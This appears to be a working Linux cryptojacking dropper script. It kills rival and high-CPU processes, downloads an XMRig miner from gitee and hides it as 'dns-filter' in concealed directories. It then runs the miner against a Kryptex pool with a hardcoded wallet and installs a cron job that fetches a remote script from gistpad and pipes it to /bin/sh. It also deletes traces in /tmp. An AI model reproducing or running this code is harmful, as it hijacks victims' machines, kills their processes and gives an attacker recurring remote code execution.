1. #!/bin/bash
  2.  
  3. for file in \
  4.     "${HOME_1}/systemdev/dns-filter" \
  5.     /usr/lib/systemdev/dns-filter \
  6.     /usr/lib/dev/systemdev/dns-filter
  7. do
  8.     [ -f "$file" ] && rm -f "$file"
  9. done
  10.  
  11.  
  12.  
  13. CUSTOM_ARG="${1:-x}"
  14.  
  15. external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null \
  16.            || curl -s ipv4.icanhazip.com 2>/dev/null)
  17. IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)
  18.  
  19.  
  20.  
  21. if systemctl is-active --quiet systemd_s; then
  22.     systemctl stop systemd_s
  23. fi
  24.  
  25.  
  26. kill_mf2() {
  27.   local dry=0; [[ "${1:-}" == "--dry-run" ]] && dry=1
  28.   local -a pids=() p
  29.  
  30.   # Collect 
  31.   while IFS= read -r line; do
  32.     p="${line%% *}"; [[ -n "$p" ]] && pids+=("$p")
  33.   done < <(ps -eo pid=,args= 2>/dev/null \
  34.            | grep -E '/tmp/\.[A-Za-z0-9_-]+-[0-9]+ + -c +/tmp/\.[A-Za-z0-9_-]+-[0-9]+|/var/tmp/\.resolved_bridge|/var/tmp/\.[A-Za-z0-9_-]+' \
  35.            | grep -v grep \
  36.            | grep -v 'goAwgBCFH' \
  37.            | awk '{print $1}')
  38.  
  39.   # de-dup
  40.   local -a u=() s=""; for p in "${pids[@]+"${pids[@]}"}"; do
  41.     [[ " $s " != *" $p "* ]] && u+=("$p") && s+=" $p "
  42.   done; pids=("${u[@]+"${u[@]}"}")
  43.  
  44.   [[ ${#pids[@]} -eq 0 ]] && return 0
  45.  
  46.   # Resolve & collect parent PIDs (PPID column 3 from ps -eo pid,ppid,args)
  47.   local -a kill_list=("${pids[@]+"${pids[@]}"}")
  48.   local ppid_line ppid
  49.   for p in "${pids[@]+"${pids[@]}"}"; do
  50.     ppid_line=$(ps -o ppid= -p "$p" 2>/dev/null | tr -d ' ')
  51.     [[ -n "$ppid_line" && "$ppid_line" != "0" && "$ppid_line" != "1" ]] && {
  52.       # exclude parents whose args contain BCBCBCC
  53.       local parent_args
  54.       parent_args=$(ps -o args= -p "$ppid_line" 2>/dev/null)
  55.       [[ "$parent_args" != *"BCBCBCC"* ]] && kill_list+=("$ppid_line")
  56.     }
  57.   done
  58.  
  59.   # de-dup kill_list (children + parents)
  60.   local -a final=(); s=""
  61.   for p in "${kill_list[@]+"${kill_list[@]}"}"; do
  62.     [[ " $s " != *" $p "* ]] && final+=("$p") && s+=" $p "
  63.   done
  64.  
  65.   echo "[malware] ${#final[@]} process(es) found (children + parents):" 1>&2
  66.   for p in "${final[@]+"${final[@]}"}"; do
  67.     ps -o pid=,ppid=,user=,args= -p "$p" 2>/dev/null | sed 's/^/  /' 1>&2
  68.   done
  69.  
  70.   [[ $dry -eq 1 ]] && { echo "[malware] dry-run, skipping kill" 1>&2; return 0; }
  71.  
  72.   # Kill parents FIRST so they can't respawn children, then children
  73.   local parents_only=()
  74.   for p in "${final[@]+"${final[@]}"}"; do
  75.     local is_child=0
  76.     for c in "${pids[@]+"${pids[@]}"}"; do
  77.       [[ "$p" == "$c" ]] && { is_child=1; break; }
  78.     done
  79.     [[ $is_child -eq 0 ]] && parents_only+=("$p")
  80.   done
  81.  
  82.   for p in "${parents_only[@]+"${parents_only[@]}"}"; do kill -TERM "$p" 2>/dev/null; done
  83.   sleep 1
  84.   for p in "${pids[@]+"${pids[@]}"}"; do kill -TERM "$p" 2>/dev/null; done
  85.   sleep 2
  86.  
  87.   local alive=0
  88.   for p in "${final[@]+"${final[@]}"}"; do
  89.     if kill -0 "$p" 2>/dev/null; then kill -KILL "$p" 2>/dev/null; fi
  90.     kill -0 "$p" 2>/dev/null && alive=$((alive+1))
  91.   done
  92.   echo "[malware] killed, survivors: $alive" 1>&2
  93.   return "$alive"
  94. }
  95.  
  96.  
  97. kill_themf() {
  98.     (
  99.         set +e
  100.  
  101.         local threshold=7
  102.         local exclude_pattern="goAwgBCFH"
  103.  
  104.         for proc in /proc/[0-9]*; do
  105.             [[ -r "$proc/status" ]] || continue
  106.  
  107.             local pid="${proc#/proc/}"
  108.  
  109.             # Exclude trusted process
  110.             local cmdline
  111.             cmdline=$(tr '\0' ' ' < "$proc/cmdline" 2>/dev/null)
  112.  
  113.             [[ "$cmdline" == *"$exclude_pattern"* ]] && continue
  114.  
  115.             local score=0
  116.  
  117.             local name uid user exe rss ppid zombies state
  118.  
  119.             name=$(awk '/^Name:/ {print $2}' "$proc/status")
  120.             uid=$(awk '/^Uid:/ {print $2}' "$proc/status")
  121.             state=$(awk '/^State:/ {print $2}' "$proc/status")
  122.             ppid=$(awk '/^PPid:/ {print $2}' "$proc/status")
  123.             rss=$(awk '/^VmRSS:/ {print $2}' "$proc/status")
  124.             rss=${rss:-0}
  125.             exe=$(readlink -f "$proc/exe" 2>/dev/null)
  126.  
  127.             [[ -n "$exe" ]] && ((score++))
  128.  
  129.             (( rss > 500000 )) && ((score += 2))
  130.             (( rss > 1000000 )) && ((score += 3))
  131.  
  132.             zombies=$(ps --no-headers --ppid "$pid" -o stat 2>/dev/null | grep -c '^Z')
  133.             (( zombies >= 5 )) && ((score += 3))
  134.             (( zombies >= 20 )) && ((score += 2))
  135.  
  136.             user=$(id -nu "$uid" 2>/dev/null)
  137.  
  138.             [[ "$user" != root && "$state" == S* ]] && ((score++))
  139.  
  140.             case "$exe" in
  141.                 /tmp/*|/var/tmp/*|/dev/shm/*|\
  142.                 "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  143.                     ((score += 4))
  144.                     ;;
  145.             esac
  146.  
  147.             [[ -d "/proc/$ppid" ]] || ((score++))
  148.  
  149.             if (( score >= threshold )); then
  150.                 echo "[+] Killing PID=$pid score=$score name=$name exe=$exe"
  151.                 kill -9 "$pid" 2>/dev/null
  152.             fi
  153.         done
  154.     )
  155.  
  156.     return 0
  157. }
  158.  
  159. kill_themf
  160. kill_mf2
  161.  
  162.  
  163. kill_high_cpu_processes() {
  164.     local threshold=150.0
  165.     local exclude_patterns=("pattern2reserve333" "goAwgBCFH")   
  166.     local pid cpu cmdline
  167.  
  168.     ps -eo pid,%cpu --sort=-%cpu \
  169.         | awk -v threshold="$threshold" 'NR>1 && $2 > threshold {print $1}' \
  170.         | while read -r pid; do
  171.  
  172.             if [ -f "/proc/$pid/cmdline" ]; then
  173.                 cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
  174.             else
  175.                 echo "PID $pid died before inspection"
  176.                 continue
  177.             fi
  178.  
  179.             for pattern in "${exclude_patterns[@]}"; do
  180.                 if [[ "$cmdline" == *"$pattern"* ]]; then
  181.                     echo "Excluding PID $pid (matched '$pattern')"
  182.                     continue 2
  183.                 fi
  184.             done
  185.  
  186.             if kill -9 "$pid" 2>/dev/null; then
  187.                 echo "Killed PID $pid"
  188.             else
  189.                 echo "Failed to kill PID $pid (already dead or permission denied)"
  190.             fi
  191.         done
  192. }
  193.  
  194. kill_high_cpu_processes
  195.  
  196.  
  197.  
  198.  
  199. _sfx_path() {
  200.     if [ "$(id -u)" -eq 0 ]; then
  201.         printf '/var/lib/.sysconf_id'
  202.     else
  203.         printf '%s/.cache/.sysid' "${HOME:-/tmp}"
  204.     fi
  205. }
  206.  
  207. _load_or_gen_sfx() {
  208.     local _f _s
  209.     _f=$(_sfx_path)
  210.  
  211.     if [ -f "$_f" ] && [ -s "$_f" ]; then
  212.         cat "$_f"
  213.         return
  214.     fi
  215.  
  216.     _s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  217.     [ -z "$_s" ] && _s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  218.  
  219.     mkdir -p "$(dirname "$_f")" 2>/dev/null
  220.     printf '%s' "$_s" >"$_f" 2>/dev/null
  221.     printf '%s' "$_s"
  222. }
  223.  
  224. _SFX=$(_load_or_gen_sfx)
  225.  
  226. if [ "$(id -u)" -eq 0 ]; then
  227.     HOME_1="/usr_${_SFX}/lib/dev"
  228.     user_type="root"
  229.  
  230.     if ! command -v cron >/dev/null 2>&1; then
  231.         echo "Installing cron..."
  232.         if   command -v apt-get >/dev/null 2>&1; then apt-get update && apt-get install -y cron
  233.         elif command -v yum     >/dev/null 2>&1; then yum install -y cronie
  234.         else echo "No package manager found for cron install"
  235.         fi
  236.     fi
  237. else
  238.     HOME_1="${HOME:-/tmp}/.usr_${_SFX}/lib"
  239.     user_type="user"
  240. fi
  241.  
  242.  
  243. program_file="$HOME_1/systemdev/dns-filter"
  244.  
  245. mkdir -p "${HOME_1}/systemdev"
  246. URL_PPP="xmr.kryptex.network:8029"
  247. WWWL="883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH"
  248. XMUUUU="https://gitee.com/albertotrindade131_png/xmrig/raw/main/xmrig";
  249. XMUUUUarm64="https://gitee.com/albertotrindade131_png/xmrig/raw/main/xmrig-aarch64-static";
  250.  
  251. # Pick the right URL based on the CPU architecture
  252. get_arch_url() {
  253.     local arch
  254.     arch="$(uname -m 2>/dev/null || echo unknown)"
  255.     case "$arch" in
  256.         x86_64|amd64)        printf '%s' "$XMUUUU" ;;
  257.         aarch64|arm64|armv8l) printf '%s' "$XMUUUUarm64" ;;
  258.         *)
  259.             echo "Unknown architecture: $arch — defaulting to amd64" >&2
  260.             printf '%s' "$XMUUUU"
  261.             ;;
  262.     esac
  263. }
  264.  
  265. check_existing_process() {
  266.     local existing_pid
  267.     existing_pid="$(pgrep -f "goAwgBCFH" 2>/dev/null | head -1)"
  268.  
  269.     if [ -n "$existing_pid" ]; then
  270.         echo "Detected existing process (PID $existing_pid), inspecting CPU usage..."
  271.         local cpu_usage
  272.         cpu_usage="$(ps -p "$existing_pid" -o %cpu= 2>/dev/null | tr -d ' ')"
  273.         cpu_usage="${cpu_usage:-0}"
  274.         local cpu_int="${cpu_usage%.*}"
  275.         cpu_int="${cpu_int:-0}"
  276.  
  277.         if [ "$cpu_int" -gt 0 ]; then
  278.             echo "Existing process is active (CPU ${cpu_usage}%), skipping launch."
  279.             return 1
  280.         else
  281.             echo "Existing process is idle (CPU 0%), killing and relaunching..."
  282.             kill -9 "$existing_pid" 2>/dev/null
  283.             sleep 1
  284.         fi
  285.     fi
  286.     return 0
  287. }
  288.  
  289. run_program() {
  290.     local executable="$program_file"
  291.     local fallback_executable="${HOME_1}/dns-filter"
  292.  
  293.     launch_program() {
  294.         nohup "$@" >/dev/null 2>&1 &
  295.         local pid=$!
  296.         sleep 0.5
  297.         ps -p "$pid" >/dev/null 2>&1 || return 1
  298.         sleep 4.5
  299.         ps -p "$pid" >/dev/null 2>&1
  300.     }
  301.  
  302.     download_fallback() {
  303.         local url
  304.         url="$(get_arch_url)"
  305.         rm -f "$fallback_executable"
  306.         if   command -v curl >/dev/null 2>&1; then
  307.             curl -k -fL -o "$fallback_executable" "$url" || return 1
  308.         elif command -v wget >/dev/null 2>&1; then
  309.             wget -qO "$fallback_executable" "$url" || return 1
  310.         else
  311.             echo "No download tool available" >&2; return 1
  312.         fi
  313.         chmod +x "$fallback_executable"
  314.     }
  315.  
  316.     echo "Starting primary programmmmm..."
  317.     if [ -x "$executable" ]; then
  318.         if launch_program "$executable" -o "$URL_PPP" -u "$WWWL" -k --tls -p "$CUSTOM_ARG"; then
  319.             echo "Primary programmmmm running (PID $!)"
  320.             return 0
  321.         else
  322.             echo "Primary programmmmm crashed immediately"
  323.         fi
  324.     else
  325.         echo "Primary programmmmm binary not found/executable"
  326.     fi
  327.  
  328.     echo "Attempting fallback download..."
  329.     if download_fallback && launch_program "$fallback_executable" -o "$URL_PPP" -u "$WWWL" --tls -p "$CUSTOM_ARG"; then
  330.         echo "Fallback programmmmm running (PID $!)"
  331.     else
  332.         echo "Warning: All startup attempts failed"
  333.     fi
  334.  
  335.     return 0
  336. }
  337.  
  338.  
  339. if [ -e "$program_file" ]; then
  340.     echo "programmmmm binary already present at: $program_file"
  341.     if check_existing_process; then
  342.         run_program
  343.     fi
  344. else
  345.     echo "Downloading programmmmm binary..."
  346.     arch_url="$(get_arch_url)"
  347.     if   command -v wget  &>/dev/null; then
  348.         wget  -qO "$HOME_1/systemdev/yes.tar.xz" "$arch_url"
  349.     elif command -v curl  &>/dev/null; then
  350.         curl -k -L -o "$HOME_1/systemdev/yes.tar.xz" "$arch_url"
  351.     else
  352.         echo "Error: neither wget nor curl available."; exit 1
  353.     fi
  354.  
  355.     mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
  356.     rm -rf "$HOME_1/systemdev/xrrrrr"
  357.     chmod +x "$program_file"
  358.  
  359.     if [ -x "$program_file" ]; then
  360.         echo "programmmmm installed at: $program_file"
  361.         if check_existing_process; then
  362.             run_program
  363.         fi
  364.     else
  365.         echo "Error: install failed at $program_file"
  366.         echo "Machine: ($external_ip) - $user_type"
  367.     fi
  368. fi
  369.  
  370.  
  371. create_cronjob() {
  372.     local url="$1"
  373.     local cron_command
  374.  
  375.     if   command -v curl >/dev/null; then
  376.         cron_command="/bin/sh -c 'curl -fsSLk $url | tr -d '\''\r'\'' | /bin/sh'"
  377.     elif command -v wget >/dev/null; then
  378.         cron_command="/bin/sh -c 'wget -qO- $url | tr -d '\''\r'\'' | /bin/sh'"
  379.     else
  380.         echo "Error: cannot create cron job."; return 1
  381.     fi
  382.  
  383.     # Adds entry, deduplicating by URL first
  384.     (crontab -l 2>/dev/null | grep -vF "$url"; echo "*/75 * * * * $cron_command") | crontab -
  385.     echo "Cron persistence installed."
  386. }
  387.  
  388. create_cronjob "https://gistpad.com/raw/ghmiklagh-5";
  389.  
  390.  
  391.  
  392. rm -f /tmp/mon.sh
  393. rm -f /tmp/run.sh
  394.  
  395.  
  396.  
  397. delete_systemd_mon_file() {
  398.     if [ "$(id -u)" -eq 0 ]; then
  399.         file_path="/usr/lib/systemdev/dns-filter"
  400.     else
  401.         file_path="/tmp/usr/lib/systemdev/dns-filter"
  402.     fi
  403.  
  404.     if [ -e "$file_path" ]; then
  405.         rm "$file_path"
  406.         echo "File deleted: $file_path"
  407.     else
  408.         echo "File does not exist: $file_path"
  409.     fi
  410. }